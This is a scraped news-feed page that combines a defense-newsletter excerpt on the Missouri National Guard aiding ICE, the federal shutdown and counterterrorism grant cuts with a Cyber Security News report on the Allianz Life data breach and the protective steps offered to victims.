    • By the way: More U.S. voters fear Trump will use the military to intimidate his opponents than fear crime will spiral out of control without the National Guard occupying American cities, according to a New York Times/Siena poll published Tuesday. 

    Missouri GOP Gov. Mike Kehoe just authorized his National Guard to help ICE with state-wide deportations until at least October 2026. The troops are expected to help with “data entry, case management, and logistical support,” Kehoe said in a statement Tuesday. “The Missouri National Guard is uniquely equipped to provide this essential administrative support, and we are confident their contributions will be invaluable to immigration enforcement efforts,” the governor said. 

    Local reax: “Using the brave women and men of our National Guard as paper pushers and case managers at immigration facilities undermines their mission and the law, directs them away from the important storm-response and local public safety efforts Missourians care about, and marks another example of Missouri public policy operating for the interests of Washington elites rather than everyday Missourians,” said Kansas City Democratic Mayor Quinton Lucas.

    Critical reax: Kehoe's announcement “ignores the needs of the St. Louis community that is still in the midst of clean up from a devastating tornado,” said Luz María Henríquez, executive director at the ACLU of Missouri. “With the backdrop of masked immigration agents breaking apart our families and communities, it is particularly concerning that the Governor is asking Guard members to voluntarily participate in this agenda. At the same time, he is failing to provide resources to the communities impacted by a natural disaster,” she added. 

    Related reading: 

    Trump 2.0

    The U.S. government shut down at midnight. Trump has promised to initiate more mass layoffs, as Eric Katz of GovExec reports. 

    Background: “Disagreement stemmed from a deadlock in Congress over Democratic demands over health care—and Republican efforts to kick that can down the road,” the Associated Press reports in a liveblog documenting shutdown developments. “At issue are tax credits that have made health insurance through the Affordable Care Act more affordable for millions of people since the COVID-19 pandemic. The credits are set to expire at the end of the year if Congress doesn’t extend them—which would more than double what subsidized enrollees currently pay.” 

    For the Defense Department, Seamus Daniels of the Center for Strategic and International Studies published an explainer Tuesday: “What a Government Shutdown Would Mean for Defense Funding in FY 2026.” 

    And lastly: The Trump administration wants to cut federal counterterrorism money to New York by $187 million, which would be “an 86 percent reduction from what the state received under the Biden administration,” the New York Times reported Tuesday after nearly a dozen states sued the Department of Homeland Security to block the funding cuts. 

    “The grants helped fund bomb squads, canine teams and chemical weapon detection,” the Times reports. They also “helped train officers to respond to an active shooter situation or a collapsed building, and paid for intelligence analysts and for members of the National Guard standing watch at Grand Central Terminal.”

    Local reax: “A Republican administration literally defunding the police is the height of hypocrisy,” Democratic Gov. Kathy Hochul said in a statement Tuesday. “And walking away from the fight against terrorism in the No. 1 terrorist target in America is utterly shocking.” 

    Related reading: 

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Allianz Life Data Breach Exposes Personal Records of 1.5 Million Users

    ·

    , ,

    Allianz Life Insurance Company of North America has reported a significant data security incident that has exposed the sensitive personal information of an estimated 1.5 million customers, financial professionals, and employees.

    The breach involved unauthorized access to a cloud-based system, compromising highly sensitive data, including Social Security numbers.

    The incident occurred on July 16, 2025, when a malicious actor gained access to a third-party cloud system used by the insurance giant.

    In a notice sent to affected individuals, Allianz Life confirmed that the threat actor successfully obtained files containing personal information. The company stated it took immediate action to contain the threat and has been investigating the full scope of the breach.

    Information Compromised in the Attack

    The investigation revealed that the compromised data may include the following personal details:

    • Full names
    • Home addresses
    • Dates of birth
    • Social Security numbers

    According to the notice signed by Data Privacy Officer Becky Stoffel, the company’s internal network and other corporate systems were not affected by the breach. The incident was isolated to the specific cloud-based environment that was targeted.

    The exposure of such detailed personal information places affected individuals at a heightened risk of identity theft and financial fraud.

    In response to the breach, Allianz Life is offering two years of complimentary identity monitoring services through Kroll, a leading risk mitigation firm.

    The services include credit monitoring, fraud consultation, and identity theft restoration to help victims detect and resolve potential misuse of their personal information.

    Affected parties have been urged to enroll in this service to safeguard their identities. The deadline for activation is specified in the notification letters sent to individuals.

    Allianz Life is advising all affected individuals to remain vigilant against potential identity theft and fraud. The company recommends regularly reviewing bank account statements, monitoring credit reports, and promptly reporting any suspicious activity to the relevant financial institutions.

    Beyond enrolling in the monitoring services, victims of the breach are encouraged to take additional proactive steps to protect themselves.

    This includes placing a fraud alert or a security freeze on their credit files with the three major credit bureaus: Equifax, Experian, and TransUnion.

    A fraud alert notifies creditors to take extra steps to verify identity before issuing new credit, while a security freeze prevents new credit from being opened altogether without consent.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Allianz Life Data Breach Exposes Personal Records of 1.5 Million Users appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶